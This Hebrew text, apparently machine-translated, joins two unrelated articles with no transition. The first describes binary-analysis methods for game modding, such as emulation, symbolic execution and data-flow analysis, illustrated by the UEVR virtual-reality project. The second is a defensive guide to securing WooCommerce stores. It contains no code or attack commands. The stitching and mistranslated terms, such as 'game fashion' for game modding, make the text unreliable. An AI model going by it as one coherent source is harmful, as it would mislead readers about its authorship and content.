כחלק ממחקר זה, נשקול עבודה עם קבצים בינאריים x86-64 שהידור עבור מערכת ההפעלה Windows באמצעות מהדר Microsoft Visual C++. בחירה זו נובעת מהעמדה הדומיננטית של פלטפורמה זו בתעשיית המשחקים, עם זאת, יש לציין שרבות מהשיטות המתוארות ידרשו התאמה משמעותית או אולי לא יהיו ישימות כלל בעבודה עם פלטפורמות או מהדרים אחרים.
אבולוציה של שיטות ניתוח בתעשיית המשחקים
ההיסטוריה של פריצת משחקים ומודינג קשורה באופן בלתי נפרד לטכניקה המכונה סריקת AOB (מערך בתים) או סריקת חתימות. שיטה זו, שפותחה במקור עבור תעשיית האנטי-וירוס, מצאה במהירות יישום בתחום ה-modding. המהות שלו היא לחפש רצפים ייחודיים של בתים התואמים לפונקציות או נתונים מסוימים בזיכרון התוכנית.
הפשטות והאמינות היחסית של סריקת AOB הפכו אותה לכלי סטנדרטי בארסנל של משנה המשחק. עם זאת, עם התפתחות טכנולוגיות המשחקים, הסיבוך של מנגנוני ההגנה והגידול בגדלים של התוכניות, המגבלות של גישה זו הופכות ברורות יותר ויותר. משחקים מודרניים מתעדכנים באופן שוטף ומשתמשים במנועים מורכבים ובמנגנוני אבטחה, מה שמוביל לרוב לפעולה לא יציבה של שינויים המבוססים רק על חיפושי חתימה.
יחד עם זאת, בתחום אבטחת המידע נעשה שימוש זה מכבר בגישה מקיפה יותר הכוללת ניתוח סטטי, דינמי והיוריסטי. מערכת שיטות זו, המכונה ביחד ניתוח בינארי, מציעה הבנה עמוקה הרבה יותר של התוכנית הנחקרת.
מתעוררת שאלה טבעית: האם ניתן להתאים את הטכניקות המתקדמות הללו ליצירת כלי מודינג אמינים יותר? חשוב להבין שאנחנו לא מדברים על החלפה מלאה של סריקת חתימות מסורתית, אלא על הרחבה משמעותית של הכלים הזמינים.
פרויקט UEVR כהדגמה מעשית של גישות חדשות
כדי להדגים את היעילות של שיטות ניתוח מתקדמות, נוצר פרויקט UEVR (Unreal Engine Virtual Reality). הפרויקט המעשי בקנה מידה גדול זה מציב מטרה שאפתנית: הוספת תמיכה מלאה במציאות מדומה כמעט לכל משחק המשתמש ב-Unreal Engine. יחד עם זאת, השינוי חייב לעבוד עם התערבות מינימלית של המשתמש, מה שמצריך את המהימנות הגבוהה ביותר של השיטות המשמשות לניתוח ושינוי המשחק.
UEVR לא רק מדגים מושגים תיאורטיים – זה מוצר מן המניין שעובד בהצלחה עם מאות משחקים שונים. הפרויקט פותר בעיות טכניות רבות ומורכבות: ממעקב נכון אחר מיקום ראשו של השחקן ועד להתאמת ממשק המשחק לשימוש במציאות מדומה. חשוב במיוחד לציין שכל זה מושג ללא צורך בשינוי קוד המקור של המשחקים או יצירת טלאים מיוחדים לכל מקרה ספציפי.
מבחינה טכנית, UEVR מסתמך על מספר ספריות מפתח. ספריית Safetyhook
מספקת חיבור אמין, ותומכת הן בקרסים מוטבעים והן בקרסים בינוניים. לניתוח קוד עמוק, נעשה שימוש ב-bddisasm וב-bdshemu,
המספקים יכולות פירוק ואמולציה של הוראות x86-64. תפקיד מיוחד ממלאת ספריית kananlib,
המכילה יישומים של רבות משיטות הניתוח המתוארות בעבודה זו.
אחד ההישגים הטכניים המרכזיים של הפרויקט הוא השימוש בצינור עיבוד הסטריאו המובנה ב-Unreal Engine. זה מאפשר ביצועים גבוהים מבלי להשפיע באופן משמעותי על הביצועים הבסיסיים של המשחק. UEVR מספק גם API עשיר למפתחי מוד כדי להוסיף תמיכה בבקרי תנועה וליישם פונקציונליות נוספת הן דרך Blueprint
והן ישירות דרך C++.
ניתוח בינארי אוטומטי: מבט חדש על בעיות ישנות
בניגוד לסריקת AOB מסורתית, ניתוח בינארי אינו מוגבל לחיפוש אחר רצפי בתים ספציפיים. במקום זאת, הוא בוחן דפוסים מבניים והתנהגותיים בתוכנית, מה שהופך אותה לעמידה הרבה יותר בפני שינויים בקוד. בתחום אבטחת הסייבר, גישה זו שימשה בהצלחה לאיתור תוכנות זדוניות לא ידועות, ניתוח התנהגות חשודה ואימות רשמי של תוכנות.
היתרונות של ניתוח אוטומטי בולטים במיוחד כאשר עובדים עם משחקים מודרניים המתעדכנים באופן קבוע ומשתמשים במנועים מורכבים. בתנאים כאלה, חתימות מסורתיות הופכות לרוב ללא יעילות לאחר התיקון הבא, בעוד ששיטות ניתוח בינאריות המבוססות על מאפיינים בסיסיים יותר של התוכנית נשארות יעילות.
חלק 2: צלילה עמוקה לתוך שיטות ניתוח
אמולציה: סביבה מבוקרת לניתוח עמוק
אמולציה היא אחד הכלים החזקים ביותר בארסנל של חוקר התוכנה המודרני. שלא כמו באגים מסורתי, הפועל על מעבד וזיכרון אמיתיים, אמולציה יוצרת סביבה מבוקרת לחלוטין לביצוע קוד. זה פותח הזדמנויות חסרות תקדים לניתוח התנהגות התוכנית.
בעזרת אמולציה, החוקר מקבל שליטה מלאה על מצב המעבד הוירטואלי, כולל כל האוגרים והדגלים. ניתן לעקוב ולנתח כל פעולת זיכרון, וזה חשוב במיוחד כאשר עובדים עם אלגוריתמים מורכבים או קוד מאובטח. יתר על כן, אמולציה מאפשרת לך לשנות את התנהגות התוכנית תוך כדי תנועה, דבר בלתי אפשרי או קשה ביותר בעת שימוש באגים מסורתיים.
אמולציה היא בעלת ערך מיוחד כאשר עובדים עם קוד מעורפל. משחקים מודרניים משתמשים לרוב בשיטות אבטחה שונות, כולל יצירת קוד דינמי וקוד משתנה עצמי. במקרים כאלה, ניתוח סטטי עשוי להיות חסר אונים, בעוד שאמולציה מאפשרת לך לעקוב אחר הביצוע בפועל של התוכנית, כולל כל ההוראות שנוצרו באופן דינמי.
ביצוע סמלי: מקונקרטי למופשט
ביצוע סמלי לוקח את ניתוח התוכנית לרמה חדשה לגמרי של הפשטה. במקום לעבוד עם ערכי נתונים ספציפיים, שיטה זו פועלת על משתנים סמליים המייצגים את כל הערכים האפשריים שפרמטרי תוכנית שונים יכולים לקחת. זה מאפשר לך לנתח לא רק נתיב ביצוע ספציפי, אלא גם את כל הנתיבים האפשריים.
בהקשר של שינויים במשחק, ביצוע סימבולי שימושי במיוחד בניתוח מערכות אבטחה ומציאת נקודות אופטימליות להכנסת שינויים. לדוגמה, אם אתה צריך למצוא דרך להפעיל תכונת משחק מסוימת, ביצוע סימבולי יכול לקבוע באופן אוטומטי את התנאים שבהם תכונה זו תהיה זמינה.
יתרון חשוב של ביצוע סימבולי הוא היכולת שלו ליצור אוטומטית מקרי בדיקה המכסים נתיבי ביצוע שונים של תוכנית. זה חשוב במיוחד כאשר מפתחים שינויים יציבים שחייבים לעבוד בצורה נכונה במצבי משחק שונים.
ניתוח זרימת נתונים: מעקב אחר נתיבי מידע
ניתוח זרימת נתונים מתמקד במעקב אחר תנועת המידע באמצעות תוכנית. שיטה זו מאפשרת לך להבין כיצד חלקים שונים של תוכנית מקיימים אינטראקציה זה עם זה, וכיצד נתונים עוברים טרנספורמציה במהלך הביצוע. בהקשר של שינויים במשחק, זה חשוב במיוחד להבנת ההיגיון הפנימי של המשחק ומציאת הנקודות האופטימליות לביצוע שינויים.
תהליך ניתוח זרם נתונים מתחיל עם תיוג הנתונים המעניינים. אלה יכולים להיות פרמטרים של פונקציות משחק חשובות, ערכים של משתנים גלובליים או אלמנטים של מבני נתונים. לאחר מכן הוא עוקב אחר אופן השימוש והשינוי בנתונים אלה על ידי חלקים שונים של התוכנית. ניתוח כזה יכול לחשוף תלות לא ברורה ולעזור לייעל שינויים.
ערך מיוחד הוא היכולת של ניתוח זרימת נתונים לזהות בעיות אבטחה פוטנציאליות ודליפות מידע. בהקשר של שינויים במשחק, זה עוזר ליצור פתרונות בטוחים ויציבים יותר שאינם מתפשרים על שלמות המשחק.
ניתוח מבני: הבנת ארכיטקטורת התוכנית
כאשר עובדים עם משחקים מודרניים, הנכתבים לרוב ב-C++ ומשתמשים במסגרות מורכבות מונחה עצמים, ניתוח מבני הופך לכלי הכרחי. שיטה זו מאפשרת לך לשחזר את היררכיית המחלקות, לקבוע קיזוז שדה במבנים ולנתח מנגנוני ירושה וירטואליים.
קשה במיוחד הניתוח של טבלאות פונקציות וירטואליות, שנמצאות בשימוש נרחב ב-C++ כדי ליישם פולימורפיזם. ניתוח מבני עוזר לא רק למצוא את הטבלאות הללו, אלא גם להבין את הארגון שלהן, שהוא קריטי ליצירת שינויים אמינים.
בהקשר של Unreal Engine, המשתמשת באופן פעיל בארכיטקטורה מונחה עצמים, הניתוח המבני מקבל משמעות מיוחדת. זה מאפשר לך להבין כיצד מאורגנים מחלקות הבסיס של המנוע, כיצד מיושמת האינטראקציה בין מערכות משנה שונות וכיצד ניתן ליישם פונקציונליות חדשה בבטחה.
עוגנים בניתוח עמוק: ממשטח אל מהות
הרעיון של עוגנים הוא יסוד לניתוח תוכניות מעמיק. עוגן מספק נקודת כניסה מאובטחת שממנה ניתן להתחיל חקר מפורט יותר. עוגנים יכולים להיות מגוון רכיבי תוכנית, מהמובן מאליו, כגון נקודות כניסה ופונקציות מיוצאות, ועד למורכבות יותר, כגון בוני אובייקטים גלובליים או מטפלי חריגים.
קבועי מחרוזת וטבלאות של פונקציות וירטואליות ממלאות תפקיד מיוחד. אלמנטים אלה נשארים בדרך כלל זהים אפילו עם עדכוני תוכניות גדולים, מה שהופך אותם לעוגנים אידיאליים לניתוח. בהקשר של Unreal Engine, למשל, קבועי מחרוזת רבים הקשורים לעיבוד או להגדרות פיזיקה נשמרים בין גרסאות שונות של המנוע.
עוגנים מבניים, כגון כותרות סעיפים וטבלאות ייבוא/ייצוא, מספקים מידע חשוב על ארגון התוכנית. הם עוזרים לנו להבין כיצד חלקים שונים של התוכנית מחוברים זה לזה, והיכן לחפש את הפונקציונליות שמעניינת אותנו.
חלק 3: סיכויי יישום ופיתוח מעשיים
שילוב שיטות ניתוח בפרויקטים אמיתיים
היישום המעשי של שיטות הניתוח המתוארות דורש תכנון קפדני והבנה מעמיקה של האינטראקציה ביניהן. בפרויקט UEVR, היה צורך לא רק להשתמש בכל שיטה בנפרד, אלא גם ליצור מערכת ניתוח הוליסטית שתוכל להתאים לגרסאות שונות של משחקים ול-Unreal Engine.
נקודת המפתח הייתה פיתוח מערכת ניתוח רב-שכבית. ברמה הראשונה ישנה סריקה מהירה של המבנים העיקריים של המשחק וחיפוש אחר נקודות עיגון בסיסיות. זה יכול להיות, למשל, חיפוש קבועי מחרוזת הקשורים להגדרות רינדור או טיפול בקלט. לאחר גילוי נקודות הכניסה הראשוניות הללו, מתחיל ניתוח מעמיק יותר, כולל הדמיית קוד ומעקב אחר זרימת נתונים.
עבודה עם קוד מוגן קשה במיוחד. משחקים מודרניים משתמשים לעתים קרובות במערכות שונות כדי להגן מפני שינויים לא מורשים, כולל ערפול קוד ובדיקות תקינות. במקרים כאלה, יש להשתמש בשילוב של טכניקות: ביצוע סמלי עוזר לגלות נקודות ביקורת, ניתוח זרימת נתונים עוזר להבין אילו בדיקות מתבצעות, וניתוח מבני עוזר למצוא מקומות בטוחים להכנסת שינויים.
התגברות על מגבלות טכניות
בעת הטמעת שיטות ניתוח מתקדמות, נתקלנו במספר מגבלות טכניות. הדמיית קטעים גדולים של קוד עשויה לקחת פרק זמן משמעותי, במיוחד אם יש הרבה סניפים מותנים לעקוב אחריהם. ביצוע סמלי, בתורו, יכול ליצור יותר מדי נתיבי ביצוע פוטנציאליים, מה שהופך ניתוח מלא לכמעט בלתי אפשרי.
אופטימיזציות שונות פותחו כדי לפתור בעיות אלו. לדוגמה, בעת חיקוי, אנו משתמשים במטמון של תוצאות עבור קטעי קוד המבוצעים לעתים קרובות. ביצוע סימבולי משתמש בהיוריסטיקה כדי לבחור את נתיבי הניתוח המבטיחים ביותר. ניתוח זרימת נתונים מותאם באמצעות שימוש במבני נתונים מיוחדים המאפשרים לך לעקוב במהירות אחר תלות בין חלקים שונים של התוכנית.
היבט חשוב היה פיתוח מערכת פריוריטי לשיטות ניתוח שונות. בהתאם למשימה ולהקשר הספציפיים, המערכת יכולה לבחור את השיטה המתאימה ביותר או שילוב ביניהם. לדוגמה, בעת ניתוח פונקציות פשוטות, ניתוח סטטי עשוי להספיק, בעוד שאלגוריתמי אבטחה מורכבים ידרשו אמולציה מלאה וביצוע סימבולי.
העתיד של אופנת משחק
הפיתוח של שיטות ניתוח תוכנה אינו עומד מלכת. הופעתן של טכנולוגיות חדשות כמו למידת מכונה ורשתות עצביות פותחת אפשרויות מעניינות לאוטומציה של תהליך הניתוח. לדוגמה, כבר נערכים ניסויים בשימוש ברשתות עצביות כדי לסווג פונקציות ולמצוא נקודות עניין פוטנציאליות בקוד.
הכיוון הקשור ליצירת השינויים האוטומטית נראה מבטיח במיוחד. דמיינו לעצמכם מערכת שיכולה לנתח משחק באופן עצמאי, למצוא מבני נתונים ופונקציות מרכזיות וליצור קוד שינוי שלוקח בחשבון את כל התכונות של גרסה מסוימת של המשחק. זה יכול לפשט מאוד את תהליך היצירה והתחזוקה של שינויים, במיוחד עבור משחקים שמתעדכנים לעתים קרובות.
תחום חשוב נוסף הוא פיתוח כלים להמחשת תוצאות ניתוח. משחקים מודרניים הם מערכות מורכבות עם הרבה רכיבים מחוברים. היכולת לדמיין את הקשרים הללו ולהראות את זרימת הנתונים והשליטה יכולה לפשט מאוד את עבודתם של מפתחי שינוי.
אתיקה ובטיחות
לא ניתן להתעלם מההיבטים האתיים של שימוש בשיטות אנליטיות מתקדמות. מצד אחד, שיטות אלו מאפשרות ליצור שינויים מעניינים המרחיבים את יכולות המשחקים ומשפרים את חווית המשחק. מצד שני, ניתן להשתמש באותן שיטות ליצירת צ'יטים או לעקוף מערכות אבטחה.
בהקשר של פרויקט UEVR, יש להקפיד על עקרונות אתיים קפדניים. כל השינויים מכוונים אך ורק להוספת פונקציונליות חדשה (תמיכה ב-VR) ואינם משפיעים על איזון המשחק או על רכיבים מקוונים. יתר על כן, אנו ממליצים לך לשתף פעולה עם מפתחי משחקים ולספק מידע על בעיות אבטחה שנמצאו כדי לסייע בשיפור אבטחת המוצר.
מַסְקָנָה
הפיתוח של שיטות ניתוח תוכנה פותח אופקים חדשים בתחום ה-game modding. אנו עוברים מסריקת חתימות פשוטה לניתוח מורכב, המאפשר לנו ליצור שינויים אמינים ופונקציונליים יותר. פרויקט UEVR מדגים את הישימות המעשית של טכניקות אלו ומראה את הדרך לדור הבא של כלי המשחק.
חשוב להבין שהשיטות המתוארות אינן תרופת פלא. לכל אחד מהם חוזקות וחולשות משלו, ואומנות יצירת השינויים האיכותיים טמונה ביכולת לבחור ולשלב גישות שונות בצורה נכונה. העתיד של מודדינג משחק נמצא בצומת של שיטות מסורתיות וטכנולוגיות חדשות, וכאן נמצאות הזדמנויות המחקר והפיתוח המרגשות ביותר.
ניהול חנות WooCommerce פותח הזדמנויות עסקיות ענקיות. עם זאת, זה בא גם עם סיכוני אבטחה מסוימים. אנחנו מדברים על האקרים שמנסים לגנוב נתוני לקוחות ותוכנות זדוניות שיכולות להפיל אתר.
הגנה על החנות המקוונת שלך היא לא רק על הבטחת אבטחת העסק שלך, אלא גם על טיפול בלקוחות שלך והבטחת חווית קנייה נוחה שלהם. מאמר זה מתאר שיטות עבודה מומלצות לאבטחה מאובטחת של חנות WooCommerce שלך. בואו נתחיל!
1. בניית מבצר: חשיבות ההגנה הרב-שכבתית
ניתן להשוות את אבטחת האתר לבניית מבצר. אי אפשר לסמוך רק על קיר אחד. יש צורך בשכבות הגנה רבות – חפירים, מגדלי שמירה וכל השאר. אותו דבר לגבי האתר. אמצעי אבטחה אחד אינו מספיק. נדרשות שכבות מרובות שעובדות יחד כדי להקשות על התוקפים הרבה יותר.
2. יסוד: שיטות אבטחה בסיסיות
נתחיל עם היסודות – הבסיס של אתר WooCommerce מאובטח:
2.1 שמירת התוכנה מעודכנת
זה אולי נראה מובן מאליו, אבל חשוב מאוד לשמור הכל מעודכן. זה חל על תוסף WooCommerce, ליבת וורדפרס, ערכות נושא, תוספים אחרים, בעצם הכל. עדכונים כוללים לעתים קרובות תיקונים עבור פרצות שהאקרים יכולים לנצל.
אל תשכח את תוכנת השרת (לדוגמה, PHP) ואת שרת האינטרנט עצמו. עליך לדון על כך עם ספק האירוח שלך כדי להבטיח שהם גם מתעדכנים בעדכונים. עדכונים אוטומטיים וגיבויים קבועים יכולים להקל על המשימה הזו הרבה יותר.
2.2 השתמש בסיסמאות חזקות ואפשר אימות דו-גורמי (2FA)
סיסמאות חלשות הן כמו מפתחות שנותרו בדלת. ודא שמשתמשים בסיסמאות חזקות עבור כל המשתמשים. המשמעות היא שילוב של אותיות רישיות וקטנות, מספרים ותווים מיוחדים – מומלץ לפחות 12 תווים.
עליך גם להגדיר אימות דו-גורמי. זה מוסיף שכבת אבטחה נוספת על ידי דרישת שלב אימות נוסף, כגון קוד מטלפון, מה שמקשה הרבה יותר על גישה לא מורשית.
2.3 בחירת אירוח אתרים מאובטח
אירוח אתרים הוא הבסיס של חנות מקוונת, לכן כדאי לבחור אותו בקפידה. אתה צריך לחפש אירוח עם מוניטין מצוין, במיוחד כזה שמכיר היטב את WordPress ו-WoCommerce. זה אמור להציע תכונות אבטחה חזקות, עדכוני שרת קבועים ותמיכת לקוחות מהירה.
לפני שתחליטו על ספק אירוח, כדאי לבדוק את תשתית השרת שלו, אילו ביצועים הוא מציע ומה אומרים על כך משתמשים אחרים. כדי לבחור אירוח אתרים מאובטח:
-
מחקר ספקי אירוח. התמקד באלה המתמחים ב-WooCommerce או WordPress, מכיוון שהם מציעים לעתים קרובות אמצעי אבטחה מיוחדים.
-
הערכת תשתית השרת שלך. בחר ספקים עם תשתית אמינה, כולל יתירות, גיבוי ותוכניות התאוששות מאסון.
-
בדוק את מדיניות העדכונים שלך. ודא שהספק מעדכן באופן קבוע תוכנות שרת, PHP ורכיבים אחרים כדי להבטיח סביבה מאובטחת.
-
הערכת ביצועים. חפש ביצועים מיטביים, זמני טעינה מהירים והבטחות לזמן פעולה גבוה.
-
שקול תמיכת לקוחות. בחר ספקים המציעים תמיכה מהירה ובעלת ידע לבעיות אבטחה וטכניות.
-
קרא ביקורות והמלצות. חקור את המוניטין של הספק על ידי קריאת ביקורות והמלצות משתמשים.
לשכבת הגנה נוספת, שקול להשתמש בחומת אש אינטרנטית כדי לשפר עוד יותר את האבטחה של סביבת האירוח שלך.
2.4 יישום הצפנת SSL
אישור SSL מצפין נתונים הנשלחים בין האתר שלך ללקוחות. זה מגן על מידע רגיש כגון פרטי כרטיס אשראי מעיניים סקרניות. בנוסף, SSL מגביר את אמון הלקוחות על ידי ראיית סמל מנעול בשורת הכתובת של הדפדפן – והוא גם מספק יתרון קל לקידום אתרים.
2.5 גיבויים רגילים לאתר
ניתן להשוות גיבויים לכרטיס צא מהכלא במשחק לוח. אם משהו קורה – אובדן נתונים, הדבקה בתוכנה זדונית, או אפילו פריצה מלאה – אתה יכול להחזיר את האתר שלך במהירות.
הגדר גיבויים אוטומטיים עם עותקים המאוחסנים מחוץ לאתר (במקרה שמשהו יקרה לשרת שלך). ואל תשכח לבדוק את הגיבויים האלה באופן קבוע כדי לוודא שניתן להשתמש בהם בעת הצורך.
3. בקרת כניסה: הגבלות הידוק
3.1 הגבלת גישה והרשאות משתמש
מדובר בהגבלת הנזק הפוטנציאלי. יישם את עיקרון ההרשאות הקטנות ביותר (PoLP) ותן למשתמשים גישה רק למה שהם באמת צריכים. כך, גם אם מישהו יצליח לקבל גישה לחשבון, הוא לא יוכל לגרום לנזק חמור. סקור באופן קבוע את תפקידי המשתמש וההרשאות והסר חשבונות לא פעילים.
3.2 הגדרת ההרשאות הנכונות עבור קבצים וספריות
ניתן להשוות הרשאות קבצים להגדרת רמות הגישה הנכונות לחלקים שונים באתר האינטרנט שלך. ודא שרק למשתמשים הנכונים יש את הגישה המתאימה לקריאה, כתיבה או ביצוע של קבצים בשרת שלך. לדוגמה, הקובץ "wp-config.php" מכיל מידע רגיש ויש להגן עליו עם הרשאות קפדניות (400 או 440). הגדרות אלו ניתנות לשינוי בקלות באמצעות לקוח FTP או לוח הבקרה של אירוח.
4. הישארות לפני האיומים: ניטור ומניעה
4.1 מעקב וביקורת אתרים
ניטור מתמיד יכול לסייע באיתור פעילות חשודה לפני שהיא הופכת לבעיה רצינית. השתמש בתוספים או בשירותי אבטחה שנועדו לזהות דלתות אחוריות, דפי פישינג, ספאם, סקריפטים DDoS ואיומים אחרים. הם יסמנו כל שינוי קובץ מוזר וישלחו התראות אם יקרה משהו חשוד. בדיקה קבועה של יומני האתר יכולה גם לסייע בזיהוי ניסיונות חדירה.
4.2 הימנעות משימוש בערכות נושא ותוספים פיראטיים
למרות שזה עשוי להיות מפתה להשתמש בגרסאות "חינם", שימוש בתוכנה פיראטית הוא כמו לשחק ברולטה רוסית עם אבטחת האתר שלך. אין לדעת מה אתה מקבל – זו יכולה להיות תוכנה מלאה בקוד זדוני או דלתות אחוריות שמחכות בין הכנפיים. בנוסף, היעדר העדכונים והתמיכה פירושו שאתה נשאר לבד אם משהו משתבש. היצמד למקורות מהימנים ושמור הכל מעודכן.
4.3 אימות וחיטוי של קלט המשתמש
בכל פעם שמשתמש ממלא טופס, זו הזדמנות עבור האקר להחדיר קוד זדוני. על ידי אימות וחיטוי קלט זה, אתה מבטיח שרק נתונים לגיטימיים עוברים במערכת. לוורדפרס יש תכונות מובנות שיעזרו לך בכך – השתמש בהם!
4.4 שימוש בשערי תשלום מאובטחים
עיבוד פרטי תשלום הוא אחריות גדולה, ולכן עדיף להשאיר אותה לאנשי מקצוע. שערי תשלום אמינים כבר מוגדרים לעבד את כל המידע הרגיש בצורה מאובטחת. הם חייבים לציית לתקנות PCI DSS (Payment Card Industry Data Security Standard) המחמירות. ודא שאתה פועל גם לפי הכללים האלה.
5. חיזוק ההגנה: טכניקות מתקדמות
מוכנים לקחת את זה לשלב הבא? הנה כמה טכניקות מתקדמות יותר שיתנו לך יתרון:
5.1 יישום מדיניות אבטחת תוכן (CSP)
CSP דומה לספק לדפדפן רשימה של מקורות מאושרים להורדת משאבים כגון סקריפטים או תמונות. זה יכול לעזור מאוד במניעת התקפות סקריפטים בין אתרים (XSS). הוסף כותרות CSP אלה לתצורת האתר שלך ותשמח שעשית זאת.
5.2 השבתת גלישה בספריות
תאר לעצמך מישהו שעובר בארון התיקים שלך ויוכל לראות בדיוק מה אחסנת ואיפה. לא ממש טוב, נכון? זה דומה למה שקורה כאשר הגלישה בספריות מופעלת. השבת אותו כדי למנוע מאנשים רק לחקור את מבנה האתר שלך.
5.3 הגבלת גישה לקבצים חסויים
קבצים חשובים כמו ".htaccess" ו-"wp-config.php" זקוקים לשכבת הגנה נוספת. אתה יכול להוסיף כללים לקובץ .htaccess כדי לחסום משתמשים לא מורשים אפילו לצפות בקבצים האלה, שלא לדבר על ביצוע שינויים.
5.4 שימוש בתוסף האבטחה
ניתן להשוות תוספי אבטחה להוספת צוות שלם של מאבטחים לאתר שלך. הם יכולים לסרוק את האתר שלך לאיתור תוכנות זדוניות, לשמש חומת אש, לשלוח התראות ועוד הרבה יותר, ולשמור על האתר שלך מפני איומים 24/7.
6. מעבר ליסודות: אמצעי זהירות נוספים
6.1 העלאת קבצים מאובטחת
בכל פעם שאתה מאפשר למשתמשים להעלות קבצים לאתר שלך, אתה לוקח על עצמך סיכון מסוים. הגדר בדיקות לאימות סוגי קבצים, גדלים ותוכן. אל תשכח לנקות גם את שמות הקבצים.
רעיון טוב נוסף הוא לאחסן קבצים שהועלו מחוץ לספריית השורש של שרת האינטרנט, ולהשתמש בתוסף שסורק אוטומטית את כל הקבצים לאיתור קוד זדוני.
6.2 הטמעת חומת האש של יישומי אינטרנט (WAF)
חומת האש של יישומי אינטרנט (WAF) פועלת כמגן, מסננת תעבורה זדונית עוד לפני שהיא מגיעה לאתר שלך. זה יכול להגן עליך בצורה מהימנה מפני בעיות כגון הזרקות SQL, סקריפטים בין-אתרים (XSS) והתקפות DDoS מעצבנות. WAFs בענן מצוינים למטרה זו, מכיוון שהם עושים את כל העבודה מרחוק ומספקים הגנה תמידית.
6.3 בידוד הסביבה
הנה משהו לחשוב עליו – אל תארח מספר אתרים באותו שרת כמו חנות WooCommerce שלך. תחשוב על זה כך: אם אחד נהיה חולה (כלומר נפרץ), אתה לא רוצה שגם האחרים יידבקו, נכון? בידוד חנות WooCommerce שלך מפחית מאוד את הסיכון הזה.
6.4 הגנה על דף התשלום מפני בוטים ובדיקות כרטיסים
תוקפים בודקים לפעמים נתוני כרטיסי אשראי גנובים באמצעות בוטים תוך כדי רכישות קטנות. אתה יכול לעצור אותם על ידי יישום אמצעים כגון CAPTCHA בדף התשלום. הוספת דרישה למשתמשים ליצור חשבון לביצוע רכישה יוצרת גם מחסום, אך כזה שלא אמור לגרום לבעיות ללקוחות לגיטימיים.
7. כיצד לקבוע אם נפרצו
אז מה אם עשית את כל זה והגרוע מכל עדיין קרה? איך תדעו אם החנות שלכם נפגעה?
שימו לב לסימני האזהרה הבאים:
-
חשבונות מנהלים חדשים שלא יצרת;
-
תוכן ספאם אקראי המופיע באתר שלך;
-
לקוחות מופנים לאתרים מוזרים;
-
אזהרות אבטחה המופיעות בדפדפנים או ממנועי חיפוש;
-
בעיות בביצועי האתר – האטות פתאומיות, קריסות תכופות וכו';
-
אימיילים חסרים או לקוחות המדווחים על מיילים חשודים שנראים כאילו הגיעו מהדומיין שלך;
-
לקוחות מדווחים על חיובים הונאה לאחר ביצוע רכישה.
אם משהו כזה קורה, עליך לפעול במהירות: סרוק את האתר לאיתור תוכנות זדוניות, שנה את הסיסמאות שלך, ואם אינך בטוח מה לעשות, פנה למומחה אבטחה. למידע נוסף, בקר במסד הנתונים של חתימות זדוניות.
מַסְקָנָה
בתנאים עסקיים מודרניים, האבטחה של חנות מקוונת היא ערובה לכך שהלקוחות שלך יכולים לסמוך עליך עם הנתונים שלהם. WooCommerce, כאחת מפלטפורמות המסחר האלקטרוני הפופולריות ביותר, יכולה להיות יעד אטרקטיבי עבור פושעי סייבר. לכן הטמעת מערכת אבטחה רב-שכבתית אינה רק מומלצת, אלא חשובה ביותר לתפקוד מוצלח של החנות.
כדי להימנע מאיומים אפשריים, עליך להבטיח הגנה אמינה בכל הרמות – החל מעדכון תוכנה רגיל ועד לשימוש בסיסמאות מורכבות ואימות דו-גורמי. אין להזניח מעקב אחר האתר, בדיקת זכויות גישה והקמת חומת אש אינטרנטית, שיכולה לשמש מחסום נוסף לתוקפים. צעדים אלה יסייעו למזער סיכונים ולמנוע התקפות פוטנציאליות, תוך שמירה על אבטחת העסק שלך והלקוחות שלך.
בסופו של דבר, אסטרטגיית אבטחה מוצלחת של חנות WooCommerce אינה משימה חד פעמית, אלא מאמץ מתמשך לנטר ולחסל איומים פוטנציאליים. על ידי הטמעת שיטות אבטחה מתקדמות ועדכון שוטף של המערכת, לא רק תגן על החנות שלך, אלא גם תחזק את אמון הלקוחות על ידי הבטחת פעילות יציבה ומאובטחת של העסק המקוון שלך.
המחבר: אלכסנדר אנטיפוב
קישור למקור